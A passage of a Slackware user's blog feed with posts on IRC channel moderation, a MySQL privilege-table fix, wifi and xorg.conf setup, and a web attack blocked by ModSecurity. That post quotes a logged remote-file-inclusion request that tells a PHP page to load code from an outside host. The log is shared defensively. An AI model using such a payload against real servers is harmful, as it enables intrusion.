channel highly upset that Pat froze Slackware-current relating to issues with both the 2.4 and 2.6 kernel.  Instead of following advice to follow up with Pat, he continues to vent on the channel, causing a rather heated flame war over something trivial.  He was +q'd (meaning his speech was removed), but he evaded +q.  He was then "removed" (meaning he was booted, not kicked, from the channel), but came back in the channel with the same attitude.  He was then banned for 30 days.    Anyone who evades moderation will automatically get a ban.  Why 30 and not 7 days?  Because, behind the scenes, in private message, the individual was very argumentive and I didn't feel like dealing with him 2 days later for the same offense.  After reading the logs, someone had the gall to mention in the channel that the ban was unwarranted...this person thought that the individual was banned because of his views...WRONG.  Read the channel guidelines.  It states specifically that any +q/ban evasion will be dealt with in a rather harsh manner.   Many people do not realize that the ops will never be able to please every single person's views in the channel.  I've been doing this a LONG time (4+ years) and no matter if I just sit there and let the channel run itself or if I step in and boot someone, someone ALWAYS complains.  It's a no-brainer for me:  moderation is what it is.  You can take it or leave it.  There aren't too many channels on Freenode that aren't moderated.  By nature, moderation pretty much means you can't state everything you feel, especially when it ruins the continuity of the channel chat.  Is this an oxymoron, especially since Freenode is inhabited mostly by coders and free-thinkers?  Every discussion, whether its in real-life in a conference or in someone's home or online on a forum or in a chat room/channel, will have some type of moderation.  So, going forward, I'll not be including comments to the ban messages, as this adds confusion to why the person was banned.  Really, the channel doesn't need to know why said person was banned after the fact.  The ban messages are for the person being banned and it was designed that way by the people who set up the IRC specifications.  If you want to know why someone was banned, speak with them directly or read the logs.  I've no time to hold some lengthly dialog with someone who thinks that everyone should join an IRC channel and unload their frustrations.  I try to think as objectively as possible on anything that goes on in the channel and to be quite honest, there's been a ton of bitching about the ops lately.  When I see the non-ops quit pushing the ops' buttons, I'll take them more seriously and get more active in seeing to their needs...but the bellyaching has to stop first.  Seriously, its usually the same people bitching about their rights being violated, and if its not the same people, there's usually some association.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/13095995-3660929293338718643?l=slackfiles.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://slackfiles.blogspot.com/feeds/3660929293338718643/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=13095995&amp;postID=3660929293338718643' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/13095995/posts/default/3660929293338718643'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/13095995/posts/default/3660929293338718643'/><link rel='alternate' type='text/html' href='http://slackfiles.blogspot.com/2007/02/did-some-slackware-log-archiving.html' title='Did some ##slackware log archiving...'/><author><name>Ron</name><uri>http://www.blogger.com/profile/07368326205701250122</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='22' src='http://1.bp.blogspot.com/_DYU25XfzLMA/SO00DtFzyLI/AAAAAAAAAD0/hvwkeHA-Ijo/S220/fail-owned-dingleberry-name-fail.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-13095995.post-5151149008259854517</id><published>2007-01-16T20:38:00.000-05:00</published><updated>2007-01-16T20:48:50.478-05:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Snort'/><category scheme='http://www.blogger.com/atom/ns#' term='Firewall'/><category scheme='http://www.blogger.com/atom/ns#' term='IDS'/><category scheme='http://www.blogger.com/atom/ns#' term='IPTables'/><category scheme='http://www.blogger.com/atom/ns#' term='ModSecurity'/><category scheme='http://www.blogger.com/atom/ns#' term='Application Security'/><title type='text'></title><content type='html'>I saw someone hammering my web server today and yesterday.  He/she generated 196 Snort alerts, which is quite a bit for my server.  The cool thing is, there was negative response to the attack for two reasons:&lt;br /&gt;&lt;br /&gt;1.  The server doesn't use PHP or CGI and the attack was designed to exploit those two software packages.&lt;br /&gt;&lt;br /&gt;2.  I use ModSecurity, which is a web server application firewall.&lt;br /&gt;&lt;br /&gt;See payload below (ModSecurity):&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;Request: midas.slackware.lan 198.145.244.232 - - [15/Jan/2007:21:04:18 -0500] "GET /calendar/index.php?inc_dir=http://200.75.9.114/C.php?&amp;/ HTTP/1.1" 403 304 "-" "Morfeus Fucking Scanner" RawyokKgjR4AAFL7qwU "-"&lt;br /&gt;----------------------------------------&lt;br /&gt;GET /calendar/index.php?inc_dir=http://200.75.9.114/C.php?&amp;amp;/ HTTP/1.1&lt;br /&gt;Accept: */*&lt;br /&gt;Accept-Encoding: gzip, deflate&lt;br /&gt;Accept-Language: en-us&lt;br /&gt;Connection: Close&lt;br /&gt;Host: 66.160.141.30&lt;br /&gt;User-Agent: Morfeus Fucking Scanner&lt;br /&gt;mod_security-message: Access denied with code 403. Pattern match "index.php" at REQUEST_URI [id "1005"][rev&lt;br /&gt;"2"] [msg "index.php usage, suspicious activity"] [severity "ALERT"]&lt;br /&gt;mod_security-action: 403&lt;br /&gt;&lt;br /&gt;HTTP/1.1 403 Forbidden&lt;br /&gt;Connection: close&lt;br /&gt;Transfer-Encoding: chunked&lt;br /&gt;Content-Type: text/html; charset=iso-8859-1&lt;br /&gt;&lt;/blockquote&gt;The activity triggered a rule I created (yeah, ModSecurity is rule-based).  I know I don't use PHP but I'd still like to see such attacks on my network, as a heads-up to escalated attacks.  What I don't have is a reactive firewall, one that blocks traffic such as this automatically.  I had to add the IP to my block list by hand, which sucks.&lt;br /&gt;&lt;br /&gt;ModSecurity also has a web-based console that I haven't figured out how to use yet, so I usually parse the flat logs manually then correlate any malicious traffic with my firewall and Snort logs to get a better picture of questionable activity.  Once I figure out how to get the web-based console up and running, I'll let you know and maybe throw together a how-to for how to utilize ModSecurity on Slackware.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/13095995-5151149008259854517?l=slackfiles.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://slackfiles.blogspot.com/feeds/5151149008259854517/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=13095995&amp;postID=5151149008259854517' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/13095995/posts/default/5151149008259854517'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/13095995/posts/default/5151149008259854517'/><link rel='alternate' type='text/html' href='http://slackfiles.blogspot.com/2007/01/i-saw-someone-hammering-my-web-server.html' title=''/><author><name>Ron</name><uri>http://www.blogger.com/profile/07368326205701250122</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='22' src='http://1.bp.blogspot.com/_DYU25XfzLMA/SO00DtFzyLI/AAAAAAAAAD0/hvwkeHA-Ijo/S220/fail-owned-dingleberry-name-fail.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-13095995.post-116728669225785294</id><published>2006-12-28T01:07:00.000-05:00</published><updated>2007-01-16T20:52:37.780-05:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='MySQL'/><category scheme='http://www.blogger.com/atom/ns#' term='PHPMyAdmin'/><category scheme='http://www.blogger.com/atom/ns#' term='PHPBB'/><category scheme='http://www.blogger.com/atom/ns#' term='Slackware'/><category scheme='http://www.blogger.com/atom/ns#' term='CMS'/><title type='text'>MySQL database corruption: fix</title><content type='html'>When I upgraded my main tower to Slack v11.0, I had also upgraded MySQL to v5.0.24a (I don't know what version I was using before this).  Soon after the upgrade, I noticed that I couldn't access my local PHPBB and PHPMyAdmin installs.&lt;br /&gt;&lt;br /&gt;I was receiving the following error using the MySQL client:&lt;br /&gt;&lt;br /&gt;&lt;em&gt;&lt;strong&gt;bash-3.1$ mysql -u root -p&lt;br /&gt;Enter password:&lt;br /&gt;ERROR 1045 (28000): Access denied for user 'root'@'localhost' (using password: YES)&lt;/strong&gt;&lt;/em&gt;&lt;br /&gt;&lt;br /&gt;The MySQL error logs looked like this:&lt;br /&gt;&lt;br /&gt;&lt;em&gt;&lt;strong&gt;061227 03:08:12  mysqld started&lt;br /&gt;061227  3:08:12 [Warning] No argument was provided to --log-bin, and --log-bin-index was not used; so replication may break when this MySQL server acts as a master and has his hostname changed!! Please use '--log-bin=slackbox-bin' to avoid this problem.&lt;br /&gt;061227  3:08:12  InnoDB: Started; log sequence number 0 4066534&lt;br /&gt;061227  3:08:12 [Warning] Found invalid password for user: 'root            @%                                                           '; Ignoring user&lt;br /&gt;061227  3:08:12 [Note] /usr/libexec/mysqld: ready for connections.&lt;br /&gt;Version: '5.0.24a-log'  socket: '/tmp/mysql.sock'  port: 0  Source distribution&lt;br /&gt;061227 13:13:11 [Note] /usr/libexec/mysqld: Normal shutdown&lt;/strong&gt;&lt;/em&gt;&lt;br /&gt;&lt;br /&gt;Even after restarting the MySQL service, skipping grant tables, and reseting the password, the above still showed. So, I ran the following (after restarting the MySQL service using the init script):&lt;br /&gt;&lt;br /&gt;&lt;em&gt;&lt;strong&gt;bash-3.1$ mysql_fix_privilege_tables --verbose&lt;br /&gt;This script updates all the mysql privilege tables to be usable by&lt;br /&gt;MySQL 4.0 and above.&lt;br /&gt;&lt;br /&gt;This is needed if you want to use the new GRANT functions,&lt;br /&gt;CREATE AGGREGATE FUNCTION, stored procedures, or&lt;br /&gt;more secure passwords in 4.1&lt;br /&gt;&lt;br /&gt;You can safely ignore all 'Duplicate column' and 'Unknown column' errors&lt;br /&gt;because these just mean that your tables are already up to date.&lt;br /&gt;This script is safe to run even if your tables are already up to date!&lt;br /&gt;&lt;br /&gt;ERROR 1060 (42S21) at line 22: Duplicate column name 'File_priv'&lt;br /&gt;ERROR 1060 (42S21) at line 28: Duplicate column name 'Grant_priv'&lt;br /&gt;ERROR 1060 (42S21) at line 29: Duplicate column name 'Grant_priv'&lt;br /&gt;ERROR 1060 (42S21) at line 30: Duplicate column name 'Grant_priv'&lt;br /&gt;ERROR 1060 (42S21) at line 41: Duplicate column name 'ssl_type'&lt;br /&gt;ERROR 1146 (42S02) at line 67: Table 'mysql.procs_priv' doesn't exist&lt;br /&gt;ERROR 1146 (42S02) at line 68: Table 'mysql.procs_priv' doesn't exist&lt;br /&gt;ERROR 1146 (42S02) at line 70: Table 'mysql.procs_priv' doesn't exist&lt;br /&gt;ERROR 1146 (42S02) at line 72: Table 'mysql.procs_priv' doesn't exist&lt;br /&gt;ERROR 1054 (42S22) at line 94: Unknown column 'Type' in 'columns_priv'&lt;br /&gt;ERROR 1060 (42S21) at line 100: Duplicate column name 'type'&lt;br /&gt;ERROR 1060 (42S21) at line 110: Duplicate column name 'Show_db_priv'&lt;br /&gt;ERROR 1060 (42S21) at line 127: Duplicate column name 'max_questions'&lt;br /&gt;ERROR 1060 (42S21) at line 137: Duplicate column name 'Create_tmp_table_priv'&lt;br /&gt;ERROR 1060 (42S21) at line 140: Duplicate column name 'Create_tmp_table_priv'&lt;br /&gt;ERROR 1061 (42000) at line 145: Duplicate key name 'Grantor'&lt;br /&gt;ERROR 1054 (42S22) at line 247: Unknown column 'Create_view_priv' in 'where clause'&lt;br /&gt;ERROR 1054 (42S22) at line 277: Unknown column 'Create_routine_priv' in 'where clause'&lt;br /&gt;ERROR 1054 (42S22) at line 313: Unknown column 'Create_user_priv' in 'where clause'&lt;br /&gt;done&lt;br /&gt;bash-3.1$ &lt;/strong&gt;&lt;/em&gt;&lt;br /&gt;&lt;br /&gt;After that, I was able to access the databases using the root MySQL account:&lt;br /&gt;&lt;br /&gt;&lt;em&gt;&lt;strong&gt;bash-3.1$ mysql -u root&lt;br /&gt;ERROR 1045 (28000): Access denied for user 'root'@'localhost' (using password: NO)&lt;br /&gt;bash-3.1$ mysql -u root -p&lt;br /&gt;Enter password:&lt;br /&gt;Welcome to the MySQL monitor.  Commands end with ; or \g.&lt;br /&gt;Your MySQL connection id is 2 to server version: 5.0.24a-log&lt;br /&gt;&lt;br /&gt;Type 'help;' or '\h' for help. Type '\c' to clear the buffer.&lt;br /&gt;&lt;br /&gt;mysql&gt; quit&lt;br /&gt;Bye&lt;br /&gt;bash-3.1$&lt;/strong&gt;&lt;/em&gt;&lt;br /&gt;&lt;br /&gt;The issue?  Apparently, there were three duplicates of the "Grant_priv" column, which I don't think was the REAL issue.  Per the script notes, duplicates don't appear to break anything, but looking at where the script notes state, "This script updates all the mysql privilege tables to be usable by MySQL 4.0 and above," I wonder if that's all I needed to do (because I upgraded to a higher version).&lt;br /&gt;&lt;br /&gt;I sometimes become so reliant upon PHPMyAdmin that I don't always know how to fix underlying issues.  It looks like I'll be delving into MySQL commandline more often, just to understand MySQL at a base level before utilizing front-end tools, or at least reference PHPMyAdmin's SQL query statements a bit more (which is a very cool feature, as the front-end puts what its doing into commandline structure).&lt;br /&gt;&lt;br /&gt;I'm betting some of you are wondering why I'm using PHPBB on my LAN.  I use it as a note-taking tool.  Whatever machine I'm on in my LAN, I can reference important notes or create notes that are in a central location.  Even if I'm at work or at a coffee shop, I can tunnel into my LAN and view all my notes.  The only thing I have to remember is to back up my databases religiously so I don't lose very important data that will hinder my work at home (and somewhat at my workplace).  Yeah, I know that there may be better ways to take notes, but my notes sometimes tend to be lengthy and when I'm troubleshooting, it's easy to create a thread of trial-and-error posts so I can keep track of what I need to do, what I've already done, or what I shouldn't do.  There aren't too many tools that can organize and store data like a CMS can. :)&lt;br /&gt;&lt;br /&gt;Happy Holidays!!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/13095995-116728669225785294?l=slackfiles.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://slackfiles.blogspot.com/feeds/116728669225785294/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=13095995&amp;postID=116728669225785294' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/13095995/posts/default/116728669225785294'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/13095995/posts/default/116728669225785294'/><link rel='alternate' type='text/html' href='http://slackfiles.blogspot.com/2006/12/mysql-database-corruption-fix.html' title='MySQL database corruption: fix'/><author><name>Ron</name><uri>http://www.blogger.com/profile/07368326205701250122</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='22' src='http://1.bp.blogspot.com/_DYU25XfzLMA/SO00DtFzyLI/AAAAAAAAAD0/hvwkeHA-Ijo/S220/fail-owned-dingleberry-name-fail.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-13095995.post-116174006389304747</id><published>2006-10-24T21:20:00.000-04:00</published><updated>2008-01-03T21:57:47.573-05:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Broadcom'/><category scheme='http://www.blogger.com/atom/ns#' term='WPC54GS'/><category scheme='http://www.blogger.com/atom/ns#' term='Linksys'/><category scheme='http://www.blogger.com/atom/ns#' term='Dell'/><category scheme='http://www.blogger.com/atom/ns#' term='Slackware'/><category scheme='http://www.blogger.com/atom/ns#' term='Inspiron 8500'/><title type='text'>Using a PCMCIA Wifi Card On Your Laptop - Closed-source Chipsets</title><content type='html'>I've got my WPC54GS Linksys wifi card, which uses a closed-source chipset (Broadcom), working with Slackware 10.2 installed on a Dell Inspiron 8500.  I've posted the process to get this working before at &lt;a href="http://slackwiki.org/"&gt;slackwiki.org&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;I've scripted this process.  You can grab the script from &lt;a href="http://wigglit.ath.cx/txt/linksys.sh"&gt;here.&lt;/a&gt;  Edit it as you see fit.  Many people actually use the tools that come with Slackware (the wireless configs in /etc/rc.d, I believe).  I script my own, as I've many different wifi cards that I often swap out for different needs.&lt;br /&gt;&lt;br /&gt;Anyways, give it a shot.&lt;br /&gt;&lt;br /&gt;My next task is getting WPA working with the card (wpa_supplicant, I believe).&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/13095995-116174006389304747?l=slackfiles.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://slackfiles.blogspot.com/feeds/116174006389304747/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=13095995&amp;postID=116174006389304747' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/13095995/posts/default/116174006389304747'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/13095995/posts/default/116174006389304747'/><link rel='alternate' type='text/html' href='http://slackfiles.blogspot.com/2006/10/using-pcmcia-wifi-card-on-your-laptop.html' title='Using a PCMCIA Wifi Card On Your Laptop - Closed-source Chipsets'/><author><name>Ron</name><uri>http://www.blogger.com/profile/07368326205701250122</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='22' src='http://1.bp.blogspot.com/_DYU25XfzLMA/SO00DtFzyLI/AAAAAAAAAD0/hvwkeHA-Ijo/S220/fail-owned-dingleberry-name-fail.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-13095995.post-116173829820217198</id><published>2006-10-24T20:57:00.000-04:00</published><updated>2007-01-16T20:54:25.232-05:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='xorg.conf'/><category scheme='http://www.blogger.com/atom/ns#' term='Xorg'/><category scheme='http://www.blogger.com/atom/ns#' term='mouse'/><category scheme='http://www.blogger.com/atom/ns#' term='Slackware'/><title type='text'>Ever Wonder How to Use A Mouse &amp; Touchpad in X?</title><content type='html'>I remember, awhile back, I got a USB mouse and touchpad working in X on my first laptop (using Suse).  Many people still ask this question in ##slackware.&lt;br /&gt;&lt;br /&gt;All you do is ensure you have the following within your xorg.conf file:&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Section "ServerLayout"&lt;br /&gt;       Identifier     "X.org Configured"&lt;br /&gt;       Screen      0  "Screen0" 0 0&lt;br /&gt;       InputDevice    "Mouse0" "CorePointer"&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;        InputDevice    "Mouse1" "SendCoreEvents"&lt;/span&gt;&lt;br /&gt;       InputDevice    "Keyboard0" "CoreKeyboard"&lt;br /&gt;&lt;br /&gt;.&lt;br /&gt;.&lt;br /&gt;.&lt;br /&gt;&lt;br /&gt;Section "InputDevice"&lt;br /&gt;       Identifier  "Mouse0"&lt;br /&gt;       Driver      "mouse"&lt;br /&gt;       Option      "Protocol" "auto"&lt;br /&gt;       Option      "Device" "/dev/mouse"&lt;br /&gt;EndSection&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Section "InputDevice"&lt;br /&gt; Driver        "mouse"&lt;br /&gt; Identifier    "Mouse1"&lt;br /&gt; Option        "Device"        "/dev/input/mice"&lt;br /&gt; Option        "Name"          "Autodetection"&lt;br /&gt; Option        "Protocol"      "imps/2"&lt;br /&gt; Option        "Vendor"        "Logitech"&lt;br /&gt;EndSection&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;You'll notice that the bold print is the print that you have to add to your pre-existing configuration.&lt;br /&gt;&lt;br /&gt;The whole file is &lt;a href="http://wigglit.ath.cx/txt/xorgconfig"&gt;here&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;Give it a whirl...and good luck!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/13095995-116173829820217198?l=slackfiles.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://slackfiles.blogspot.com/feeds/116173829820217198/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=13095995&amp;postID=116173829820217198' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/13095995/posts/default/116173829820217198'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/13095995/posts/default/116173829820217198'/><link rel='alternate' type='text/html' href='http://slackfiles.blogspot.com/2006/10/ever-wonder-how-to-use-mouse-touchpad.html' title='Ever Wonder How to Use A Mouse &amp; Touchpad in X?'/><author><name>Ron</name><uri>http://www.blogger.com/profile/07368326205701250122</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='22' src='http://1.bp.blogspot.com/_DYU25XfzLMA/SO00DtFzyLI/AAAAAAAAAD0/hvwkeHA-Ijo/S220/fail-owned-dingleberry-name-fail.jpg'/></author><thr:total>0</thr:total></entry></feed>
